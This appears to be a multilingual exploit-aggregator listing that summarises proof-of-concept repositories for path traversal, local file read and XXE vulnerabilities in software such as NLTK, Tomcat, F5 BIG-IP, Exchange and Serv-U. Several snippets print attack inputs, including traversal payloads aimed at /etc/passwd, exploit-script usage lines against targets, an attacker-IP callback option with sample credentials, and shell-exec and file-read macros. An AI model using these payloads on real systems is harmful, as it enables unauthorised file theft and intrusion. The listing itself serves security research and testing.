CVE-2026-12243-NLTK-PoC

CVE-2026-12243 — NLTK パストラバーサルラボ NLTK 3.9.4 のパーセントエンコードされたパストラバーサル動作と、NLTK 3.10.0 で修正された動作を対比する、小さく再現可能な Docker ラボです。 脆弱なバージョンは、URL デコード前にリソース名を検証します。固定ペイロード %2e%2e/%2e%2e/outside/lab-secret.txt はチェックを通過し、後で ../../outside/lab-secret.txt にデコードされ、設定された NLTK...

mpDNS

mpDNS 일명 다목적 DNS 서버 간단하고 설정 가능한 여러 유용한 기능을 갖춘 DNS 서버 Python 3 names.db - 모든 사용자 정의 레코드 보관 예제 참조 .example.com 같은 간단한 와일드카드 유니코드 DNS 요청 포착 사용자 정의 작업일명 매크로: shellexec::dig google.com +short - 셸 명령을 실행하고 결과로 응답 eval::res = '1.1.1.%d' % random.randint0,256 - Python 코드 평가 file::/etc/passwd - 로컬 파일 내용으로...

Eclipse Mojarra - Local File Read

Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter. id: CVE-2020-6950 info: name: Eclipse Mojarra - Local File Read author: iamnoooob,pdresearch severity: medium description: | Directory traversal in Eclipse Mojarra...

Vitest Browser Mode - Local File Read

Vitest is a testing framework powered by Vite. The screenshot-error handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by browser.api.host- true, an attacker can send a request to that handler from remote to get th...

LocalAI - Partial Local File Read

A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery SSRF and partial Local File Inclusion LFI. The endpoint supports both https-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the...

BOA Web Server 0.94.14 - Arbitrary File Access

BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials. id: CVE-2017-9833 info: name: BOA Web Server 0.94.14 - Arbitrary File Acces...

CVE-2024-55557

CVE-2024-55557 使用方法 root@kitploit: python3 exploit.py --local retrieve from local readable files python3 exploit.py default mode is remote 詳細 詳しくは CVE-2024-55557 - Weasis 4.5.1 をご覧ください。 POC https://github.com/user-attachments/assets/a3f64a58-7720-4f93-8bcc-9393d8afcb68...

CVE-2025-66516-POC

⚠️ 사용 전 면책 조항 읽기 ⚠️ 교육/승인된 테스트 전용 | 라이선스 | 보안 정책 이 POC 소개 이 저장소는 Apache Tika 3.2.2 미만 버전의 XML External Entity XXE 주입 취약점 인 CVE-2025-66516 에 대한 개념 증명 POC 익스플로잇 을 포함합니다. 이 취약점은 tika-parser-pdf-module 컴포넌트의 XFA XML Forms Architecture 파서 에 영향을 미치며, 공격자가 악의적으로 조작된 PDF 문서를 통해 로컬 파일을 읽고 민감한 데이터를 유출할 수 있게...

CVE-2020-1938

CVE-2020-1938 해당 CVE-2020-1938은 https://github.com/Hancheng-Lei/Hacking-Vulnerability-CVE-2020-1938-Ghostcat.git의 PoC의 오류를 수정하였으며 Apache Tomcat/8.0.43 버전에서의 동작을 확인하였습니다. 실습 방법 1. docker-compose.yml 생성 2. docker compose up -d 3. python3 CVE-2020-1938.py -p 8009 -f WEB-INF/web.xml 최종 결과...

cve-2020-5902

cve-2020-5902 cve-2020-5902 POC 익스플로잇 root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAME...

CVE-2026-45504

CVE-2026-45504 Exchange 파일 읽기 CVE-2026-45504 Exchange 파일 읽기 연구 블로그 python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...

CVE-2024-28752

Apache CXF CVE-2024-28752 재현 환경 취약점 공지: https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt 환경 시작 samples/javafirstjaxwsfactorybean IDEA ServerStarter.java를 통해 웹서비스 시작 빌드 JDK8 사용 root@kitploit: mvn clean package java -jar target/cxf.jar 취약점 악용 BurpSuite를 사용하여 다음 요청을 보내면 트리거됩니다...

CVE-2022-44268

CVE-2022-44268 このリポジトリには、広く使用されているオープンソースの画像操作ライブラリ ImageMagick v. 7.1.0-49 における脆弱性の概念実証 POC が含まれています。この脆弱性により、ImageMagick が PNG ファイルを解析する際に、攻撃者が任意のファイルの内容をリサイズ後の画像に埋め込むことが可能になります。 説明 ImageMagick が PNG ファイルに対してリサイズなどの操作を実行する際、magick バイナリに読み取り権限があれば、システムファイルの内容が含まれる可能性があります。この脆弱性は、PNG...

CVE-2016-10956-mail-masta

Mail Masta - 로컬 파일 읽기 CVE-2016-10956 WordPress용 mail-masta 플러그인 1.0은 countofsend.php와 csvexport.php에서 로컬 파일 읽기 취약점이 있습니다. 사용법 root@kitploit: $ ./CVE-2016-10956mailmasta.py -h + Mail Masta - Local File Read CVE-2016-10956 usage: CVE-2016-10956mailmasta.py -h -v -s -t TARGETURL -f FILE | -F FILELIS...

CVE-2019-8389

CVE-2019-8389 - Musicloud for iOS v1.6 における任意のファイル読み取り CVE-2019-8389 Musicloud v1.6 iOSアプリケーションのローカルファイル読み取り脆弱性を悪用するためのエクスプロイトコード 説明: Musicloud...

CVE-2024-40422

CVE-2024-40422 exploit-dbでこれを見つけ、練習のために自分用のものを作ることにしました。このエクスプロイトは、脆弱性のあるシステム上でpasswdファイルを探し出し、その内容を出力します。 このスクリプトは、Devika v1のパストラバーサル脆弱性を悪用します。この脆弱性を最初に発見したAlperen Ergelに感謝します。 pip install requests この脆弱性について詳しくはこちらで読むことができます:...

CVE-2025-27136-XXE-LocalS3

CVE-2025-27136 XXE-LocalS3 CVE-2025-27136 Local-S3 내 XXE에 대한 개념 증명 └─$ python3 exploit.py http://$ip:8080 /etc/passwd + S3 서비스 감지됨 + 버킷 생성 중: xxe-32d14993 + 서버 응답: ac3aaf20-e59a-4705-9505-3ebb01db7fc1 + ?location을 통해 파일 검색 중 + 응답: root❌0:0:root:/root:/bin/bash...

CVE-2019-5418

CVE-2019-5418 테스트 케이스 실행: root@kitploit: $ rails s PoC: root@kitploit: Accept: ../../../../../../../../etc/passwd Req 1 - root@kitploit: GET /shitblock HTTP/1.1 Host: REDACTED:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:65.0 Gecko/20100101 Firefox/65.0 Accept:...

CVE-2020-5902

CVE-2020-5902 F5 Big-IP CVE-2020-5902 を悪用する Python スクリプト 例 ローカルファイル読み取りの悪用: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd RCE の悪用: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2024-28995

CVE-2024-28995 자동 경로 탐색 및 로컬 파일 읽기 기능 버전 탐지 : 서버 헤더에서 Serv-U 버전을 검색합니다. 취약점 확인 : 탐지된 버전을 알려진 취약 버전15.4.2 이하과 비교합니다. 기본 경로 테스트 : 서버가 취약한지 확인하기 위해 Windows 및 Linux의 미리 정의된 경로를 테스트합니다. 사용자 정의 경로 테스트 : 사용자가 파일 읽기 취약점을 테스트하기 위해 사용자 정의 디렉토리 및 파일 경로를 지정할 수 있습니다. 단어 목록 경로 테스트 : 파일 읽기 취약점을 위해 여러 경로를 테스트할 때...